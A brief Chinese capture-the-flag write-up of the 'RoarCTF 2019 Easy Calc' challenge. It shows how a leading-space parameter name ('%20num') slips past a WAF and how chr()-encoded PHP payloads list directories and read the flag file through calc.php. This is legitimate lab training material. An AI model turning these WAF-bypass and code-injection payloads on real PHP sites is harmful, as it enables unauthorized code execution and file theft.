BUUTCTF [RoarCTF 2019]Easy Calc

BUUTCTF [RoarCTF 2019]Easy Calc_第1张图片

查看一下源码

BUUTCTF [RoarCTF 2019]Easy Calc_第2张图片
发现计算的时候请求了一个calc.php
BUUTCTF [RoarCTF 2019]Easy Calc_第3张图片
发现过滤了一些特殊字符

直接传num=phpinfo() ,发现请求失败,应该是被防火墙过滤掉

利用php的解析特性,绕过防火墙检测。因为php解析GET POST请求的时候会自动过滤掉空格,而防火墙不会。如:

num=phpinfo()
%20num=phpinfo()

在php解析的时候就是一个东西,防火墙则会当成两个变量

BUUTCTF [RoarCTF 2019]Easy Calc_第4张图片
成功绕过,利用scandir("/")读出目录,不过由于“/”被过滤掉了我们chr(47)代替,于是有

%20num=var_dump(scandir(chr(47)))

在这里插入图片描述
发现有个flagg文件,构造payload读取文件

payload

%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

你可能感兴趣的:(CTF)